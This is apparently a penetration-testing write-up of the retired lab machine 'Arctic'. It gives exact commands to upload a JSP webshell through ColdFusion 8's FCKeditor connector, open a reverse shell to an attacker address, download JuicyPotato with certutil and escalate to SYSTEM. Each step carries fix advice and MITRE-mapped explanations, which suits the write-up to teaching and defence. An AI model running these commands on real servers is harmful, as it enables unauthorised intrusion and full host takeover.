Arctic
Summary
I found Adobe ColdFusion 8 exposed directly on the internet, matched it to a 2009 public exploit that allows file uploads with no credentials, and planted a JSP webshell in the web root. That gave command execution as the ColdFusion service account, which carried SeImpersonatePrivilege.
I used JuicyPotato to convert that privilege into a SYSTEM-level process token via COM-based token impersonation, achieving full control of the Windows host without ever logging in or cracking a password.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"Attack path — how the box was taken
Exact commands 1
curl -sS -I http://$TARGET:8500/CFIDE/administrator/index.cfmFixRemove direct internet exposure of the ColdFusion application serverHigh
Exact commands 2
searchsploit -w 'ColdFusion 8'searchsploit -p 50057Exact commands 1
echo 'probe' > test.txt && curl -sS -F "newfile=@test.txt;filename=test.txt" "http://$TARGET:8500/CFIDE/scripts/ajax/FCKeditor/editor/filemanager/connector/jsp/connector?Command=FileUpload&Type=File&Currentfolder=/"FixPatch or remove the ColdFusion 8 FCKeditor file-upload connectorCritical
Exact commands 2
curl -sS -F "newfile=@cmd.jsp;filename=cmd.jsp" "http://$TARGET:8500/CFIDE/scripts/ajax/FCKeditor/editor/filemanager/connector/jsp/connector?Command=FileUpload&Type=File&Currentfolder=/"curl -sS --get --data-urlencode 'cmd=whoami' "http://$TARGET:8500/userfiles/file/cmd.jsp"Exact commands 1
curl -sS --get --data-urlencode 'cmd=powershell -NoP -C "Get-Content C:\\Users\\tolis\\Desktop\\user.txt"' "http://$TARGET:8500/userfiles/file/cmd.jsp"Exact commands 4
msfvenom -p java/jsp_shell_reverse_tcp LHOST=$ATTACKER_IP LPORT=4445 -o rs.jspcurl -sS -F "newfile=@rs.jsp;filename=rs.jsp" "http://$TARGET:8500/CFIDE/scripts/ajax/FCKeditor/editor/filemanager/connector/jsp/connector?Command=FileUpload&Type=File&Currentfolder=/"nc -lvnp 4445curl -sS "http://$TARGET:8500/userfiles/file/rs.jsp"Exact commands 4
whoami /privcertutil -urlcache -f http://$ATTACKER_IP:9000/JuicyPotato.exe C:\Users\tolis\AppData\Local\Temp\jp.exeC:\Users\tolis\AppData\Local\Temp\jp.exe -t * -l 1337 -p C:\Windows\System32\cmd.exe -a "/c whoami > C:\Users\tolis\Desktop\jp_out.txt 2>&1"type C:\Users\tolis\Desktop\jp_out.txtFixRemove SeImpersonatePrivilege from the ColdFusion service accountHigh
Exact commands 2
C:\Users\tolis\AppData\Local\Temp\jp.exe -t * -l 1338 -p C:\Windows\System32\cmd.exe -a "/c type C:\Users\Administrator\Desktop\root.txt > C:\Users\tolis\Desktop\root_out.txt 2>&1"type C:\Users\tolis\Desktop\root_out.txtAttack patterns used
The transferable techniques behind this compromise.
Unrestricted File UploadWebT1505.003
What it is
An upload feature that doesn't properly validate file type/content lets an unauthorised user upload a server-side script (.php, .phtml, .jsp, .aspx) and then browse to it for code execution. Bypasses include double extensions, MIME spoofing, magic-byte tricks, and abusing permissive .htaccess.
Why it works
Validation is often done on the client or on an easily-spoofed extension/MIME rather than on content and storage location. Remediate by storing uploads outside the web root, randomizing names, enforcing an allow-list by content, and disabling execution in the upload directory.
Read more
Public Exploit / Metasploit ModuleService RCET1210
What it is
Many footholds come from matching a fingerprinted service/version to a public exploit and firing a vetted Metasploit module. The disciplined flow is: confirm the version, run the module's check to validate exploitability, set LHOST/LPORT, then exploit — yielding a Meterpreter/command session in the service's context.
Why it works
Unpatched, internet-known vulnerable software is the root cause; the module just operationalizes published research. Remediate with timely patching, version hygiene, and reducing exposed service surface.
Read more
SeImpersonate Abuse (Potato family)Windows · Privilege EscalationT1134.002
What it is
Service accounts (IIS, MSSQL, etc.) often hold SeImpersonatePrivilege. The 'Potato' exploits (JuicyPotato, RoguePotato, PrintSpoofer, GodPotato, JuicyPotatoNG) coerce a SYSTEM process to authenticate to an externally controlled COM/RPC/named-pipe endpoint, then impersonate that SYSTEM token — escalating from the service account to NT AUTHORITY\SYSTEM.
Why it works
Holding SeImpersonate is normal for service accounts, but Windows' token-impersonation model lets it be turned into full SYSTEM via local authentication coercion. Remediate by removing the privilege where unneeded and keeping hosts patched against the specific coercion vectors.